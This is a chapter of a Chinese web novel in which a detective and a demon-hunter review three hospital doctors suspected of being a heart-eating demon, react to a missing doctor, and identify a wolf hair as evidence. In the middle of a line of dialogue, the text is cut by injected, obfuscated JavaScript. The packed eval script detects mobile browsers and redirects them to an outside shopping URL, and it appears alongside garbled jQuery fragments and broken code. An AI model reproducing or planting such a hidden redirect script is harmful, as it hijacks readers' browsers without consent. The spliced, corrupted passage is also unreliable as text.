风竹小说 > 都市言情 > 山怪夜动门 > 11.绵羊(10)
    晚上七点,警局会议室的门被“砰”地撞开,宋昀手里攥着一沓资料,快步走到林风摇面前。

    她正捧着一碗米粉,嗦得汤汁溅在嘴角,听见动静才慢悠悠抬头,嘴里还嚼着粉,含糊地“嗯”了一声。

    “心内科那三个的底,摸清了。”宋昀把资料啪的一声拍在桌上,翻开最上面一页,指着照片里穿白大褂的女人说:“司雪,三十二岁,兀城本地人,父母健在,且从小到大都生活在兀城,毕业于兀城医科大学,从实习就在兀城三院,到现在已经整整七年了。”

    林风摇抬眼看了看司雪的照片,她面若银盘,眉目和善,眼神也十分温柔,这样的人别说杀人挖心,恐怕打死只老鼠都要直呼罪过。

    宋昀顿了顿,又补充到:“她结婚五年,老公是个中学老师,两人有个四岁的孩子。她平时日常就是上班下班,休息日大多都是在家陪孩子,外出也基本都是跟家人在一起,很少有单独活动的时候。”

    林风摇挑了挑眉,没说话,又低头嗦了几口粉。宋昀又翻到下一页,照片上的男人穿着白大褂,带着金边眼镜,笑得一脸开朗:“郎鸣,三十岁,连城人,父亲早逝,母亲再婚生子后,与他就断了联系。他是国外名牌医科大学毕业,是三院花高薪请回来的‘海归’,来了三年,口碑挺好。”

    “郎鸣是他们三个里最年轻、也最混得开的,他性格外向嘴又甜,跟医院里的医生护士关系都挺好。”宋昀指着郎鸣的资料,轻笑着说,“据说这个人是个花蝴蝶,经常爱招惹点儿小姑娘,但也仅仅是口头贫两句,没有过什么越界的行为,他是独居。”

    张佳文凑过来,指着最后一张照片,照片上的男人穿着西装,表情严肃,眉眼间透着股沉闷:“这个齐宁宇呢?他看起来挺凶的。”

    “相比起那两个,这个齐宁宇就有些可疑了。”宋昀顺手拿起一个灌饼往嘴里塞,含糊地说道,“齐宁宇,四十岁,禹城人,兀城医科大学毕业。他毕业后回了禹城,两年以后又回到兀城结了婚,之后就一直在三院工作。他算是上门女婿,所以他岳父母多少有点看不起他,加上他跟老婆结婚多年都没怀上孩子,家里的气氛一直很僵。前几年他跟老婆离婚后,就一直是一个人生活。”

    “妖是不是很难有孩子啊?”张佳文突然眨巴着眼睛,冒出一句。

    林风摇嗦粉的动作顿住,抬头看了她一眼:“这个……我还真没研究过。”

    张佳文又转头看向旁边的大白,可那饭桶只顾着吃东西,腮帮子塞得鼓鼓的,压根没听见她说话。

    “你俩别扯远了,办案呢!”宋昀无奈地敲了敲桌子,张佳文这才瘪了瘪嘴,乖乖坐好。

    “他老婆离婚第二年就再婚,还生了个儿子,但齐宁宇到现在都一直是一个人。”宋昀嚼着饼继续说,“而且他性格比较闷,除了工作上的事儿,私下很少跟人来往,医院同事都说他像个闷葫芦,跟他不太合得来。”

    “独来独往,方便作案!”张佳文立刻接话,“说不定他就是那个妖,没人盯着才好作案!”

    林风摇终于放下筷子,抽了张纸擦了擦嘴,目光落在桌上三人的照片上,指尖轻轻敲着桌面,没说话。

    “你有什么头绪吗?”宋昀眉头紧锁,忍不住开口,“这三个人,表面看都没有什么问题,但齐宁宇的疑点确实比较多,独居、性格孤僻,还很少跟人来往,符合作案条件。”

    林风摇的视线在三人的照片上来回转,垂着眼问道:“他们三个的不在场证明怎么说?”

    宋昀咽下最后一口鸡蛋灌饼后才开口道:“李尚死的当天,司雪轮休,所以她一整天都跟家人在一起;郎鸣那天一直都在医院,医院的医生和护士都能证明;齐宁宇下午下班以后,去了他家附近的菜市场买了菜,然后就回家了,之后没再出过门。”

    “那这样看来,作案时间最充分的还是齐宁宇啊。”张佳文立刻接话。

    林风摇还垂着眼盯着桌上的照片问:“那刘天强死的那天呢?”

    宋昀:“那天,司雪在医院值班,郎鸣轮休,去了他朋友的乔迁宴,跟好几个朋友一起在那儿玩了一晚上,齐宁宇仍然是下班、买菜、回家。”

    “从时间上看,齐宁宇确实作案时间最充分也最方便行动。”林风摇盯着三人的照片,“但是,我总觉得不太对劲……”

    “哪里不对劲?”宋昀皱着眉追问。

    林风摇指了指桌上的照片:“齐宁宇的行为,太容易让人怀疑。”

    “让人怀疑不是正说明他有问题吗?”张佳文疑惑道。

    林风摇往大白那边瞟了一眼,摇了摇头,淡淡地说道:“在人类社会里,妖怪本来就是异类,若是它想要更好地隐藏,应该要更像一个正常人类那样生活,才能不容易被人怀疑。”

    张佳文眨着眼睛思考:“好像……也是哦,齐宁宇太过孤僻,有时反而引人猜测。”

    宋昀盯着林风摇问:“那你是怀疑那妖物是司雪和郎鸣其中的一个?”

    “不确定,你找个机会尽快跟这几个人接触一下,或者直接让我暗中看一眼。”随后林风摇又指着郎鸣的照片,眼神沉了沉,“特别是这个人。我总觉得他的眼睛有点……怪怪的。”

    “眼睛?”宋昀疑惑地凑到郎鸣的照片前看了看,“没什么不对啊。”

    几人正盯着照片研究,宋昀的手机突然响了,他拿起手机看了一眼,屏幕上跳着“晏淮”的名字,林风摇扬了扬下巴,示意他先接。

    “说。”宋昀按下接听键后,将手机放在桌上打开了免提。

    电话里立刻传来晏淮焦急的声音:“宋警官,我室友秦琛,可能失踪了。”

    “什么叫可能失踪了?”宋昀皱眉问道。

    “白天的时候,他给我发消息,说今天下早班,等回来我两一起出去吃一顿。”晏淮的声音发着颤,急切地说,“可是我在宿舍等到现在,一直没等到秦琛回来,他电话也突然打不通了,我问医院的同事,同事说他早就走了。”

    “你说的秦琛,是那天在医院磕伤头那个吗?”林风摇突然开口。

    “对,就是他。”

    林风摇想起那天三院三楼那个一闪而过的白影和那种被窥视的感觉,隐隐有些不好的预感,莫非那时秦琛就被盯上了?

    见她眉头紧皱,宋昀也有些不安,低声地问她:“你是担心这秦琛是被那妖物抓走了?”

    林风摇拧着眉,表情凝重地点了点头:“你先安排人去找一找吧。”

    “晏淮,你先在秦琛常去的地方看一看,我安排人去三院附近寻找

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16654278|188132||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    。”宋昀对着电话说完,又立马转身出去组织人,林风摇和大白也起身到警局门口等着宋昀安排好出来。

    宋昀刚走到门口,就被痕检科的张法医喊住:“宋队,我从刘天强尸体上发现一点新线索,不知道有没有用?”

    “什么新线索?”宋昀急得嗓门都大了。

    张法医递过来个透明的证物袋,宋昀接过来瞅了半天,什么也没看到:“张法医,我这眼睛没瞎吧?”

    “看最底下!”张法医指着证物袋最底部:“看见了吗?一根灰毛。”

    林风摇听到“灰毛”立刻走过去:“张法医,能让我看看吗?”

    张法医点点头,宋昀将证物袋递给她,林风摇接过证物袋的瞬间,腰间的闻妖铃微不可察地晃动了一下。

    “这根毛是在刘天强腹部的一条伤口里发现的,它沾在非常里面的地方,之前没发现。”张法医指着证物袋解释道。

    “行,辛苦了张法医,我这边有急事,先走了,这个先放我这儿。”宋昀推着林风摇急急往车上去。

    上了车宋昀一路火急火燎地飞车往三院赶,林风摇还拿着证物袋研究,大白凑过来:“让我看看。”

    大白拿着袋子凑在眼前,眯着眼睛看了半天,转头问宋昀:“我能打开闻闻吗?”

    “你闻,别整掉了啊。”宋昀急赤白脸地开着车,头也没回。

    大白立刻打开证物袋,将那根灰毛捻在手上仔细看,又放到鼻子下面闻了闻,最后笃定地说:“是狼毛。”

    “狼毛?你确定?”林风摇瞪着眼睛问。

    大白拍着胸脯自信地说:“狼我还能认错?”

    “狼毛……郎鸣?”林风摇喃喃出声,手掌猛地攥紧,怪不得之前她总觉得郎鸣的眼睛有些怪,他的瞳孔比正常人要更为深邃一些,现在再联想到这根狼毛,难道他就是藏在三院的妖?

    宋昀握着方向盘的手紧了紧:“这么说,郎鸣有问题?可他的不在场证明……”

    “妖要做假证,有的是办法。”林风摇抬头看向窗外,夜色渐浓,三院的轮廓在远处隐约可见,“现在最重要的是找到秦琛,我担心他已经落入那妖怪手里了,但是……为什么呢?。”

    “什么为什么?”宋昀急得上火。

    “李尚和刘天强尚且有理由,但秦琛是个医生,它为什么要对他出手呢?”林风摇皱着眉十分不解。

    大白瞪着眼睛震惊道:“难道秦琛也是披着羊皮的狼?”

    宋昀开着车,从后视镜里看了眼林风摇:“你不是不跟妖怪讲道理吗?怎么这会儿纠结起来了?”

    林风摇歪着头用手支着下巴,淡淡地说:“若这个郎鸣真是妖,它起码已经以人的身份在人类社会生活了三年,并且混得如鱼得水,那是什么原因让它突然选择了放弃这个身份?”

    大白嘴里又塞着面包,嘟嘟囔囔地说:“妖放弃人类社会的身份,要么是人伤了它,要么就是它想伤人了,现在的情况,它看起来像是后者。”

    宋昀想到李尚和刘天强的死状犹在眼前,若是再有个医生出了事,明天大街小巷都会流传出警察无能、妖怪索命的流言,到时候他这个刑警队长即便以头抢地,也无法谢罪了。想到这些,宋昀死命踩下油门,恨不能把汽车当成火箭开。